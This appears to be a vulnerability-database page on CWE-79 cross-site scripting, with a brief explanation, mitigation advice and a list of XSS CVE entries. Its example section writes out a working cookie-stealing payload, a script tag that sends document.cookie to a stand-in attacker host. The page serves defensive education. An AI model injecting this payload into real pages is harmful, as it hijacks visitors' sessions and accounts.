Fallos del tipo CWE-79

30.065 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-48396MEDIUMAIML Chatbot 1.0 (fixed in 2.0) is vulnerable to Cross Site Scripting (XSS). The vulnerability is exploited through the message input field,EPSS 0.3%CVE-2024-38470MEDIUMzhimengzhe iBarn v1.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the $search parameter at /own.php.EPSS 0.3%CVE-2025-5082MEDIUMWP Attachments <= 5.0.12 - Reflected Cross-Site Scripting via attachment_id ParameterEPSS 0.3%CVE-2023-38423MEDIUMBIG-IP Configuration utility vulnerabilityEPSS 0.3%CVE-2024-3638MEDIUMElementor Addons by Livemesh <= 8.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Marquee Text Widget, Testimonials Widget, and Testimonial Slider WidgetsEPSS 0.3%CVE-2024-12069MEDIUMLexicata <= 1.0.16 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-25925MEDIUMA stored cross-scripting (XSS) vulnerability in Openmrs v2.4.3 Build 0ff0ed allows attackers to execute arbitrary web scripts or HTML via inEPSS 0.3%CVE-2023-32089MEDIUM Pega Platform versions 8.1 to 8.8.2 are affected by an XSS issue with Pin description EPSS 0.3%CVE-2024-1427MEDIUMThe Post Grid <= 7.7.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via section title tagEPSS 0.3%CVE-2023-23954MEDIUMAdvanced Secure Gateway and Content Analysis, prior to 7.3.13.1 / 3.1.6.0, may be susceptible to a Stored Cross-Site Scripting vulnerabilityEPSS 0.3%CVE-2019-25405MEDIUMComodo Dome Firewall 2.7.0 Stored Cross-Site Scripting via license_activationEPSS 0.3%CVE-2024-4316MEDIUMEmbedPress Embed PDF, Google Docs, Vimeo, Wistia, Embed YouTube Videos, Audios, Maps & Embed Any Documents in Gutenberg & Elementor <= 3.9.16 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.3%CVE-2024-1759MEDIUMWP ULike <= 4.6.9 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-38670MEDIUMWordPress Team Members plugin <= 5.3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-52048MEDIUMRuoYi v4.7.8 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /system/notice/.EPSS 0.3%CVE-2024-31111MEDIUMWordPress Core < 6.5.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2936MEDIUMSydney Toolbox <= 1.26 - Authenticated (Contributor+) Stored Cross-Site Scripting via _idEPSS 0.3%CVE-2024-30436MEDIUMWordPress Collect.chat plugin <= 2.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-29134MEDIUMWordPress Tourfic plugin <= 2.11.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-87760HIGHWeb Vitals Tracking <= 5.4.2 - Unauthenticated Stored XSS via Tracking Beacon Metric NameEPSS 0.3%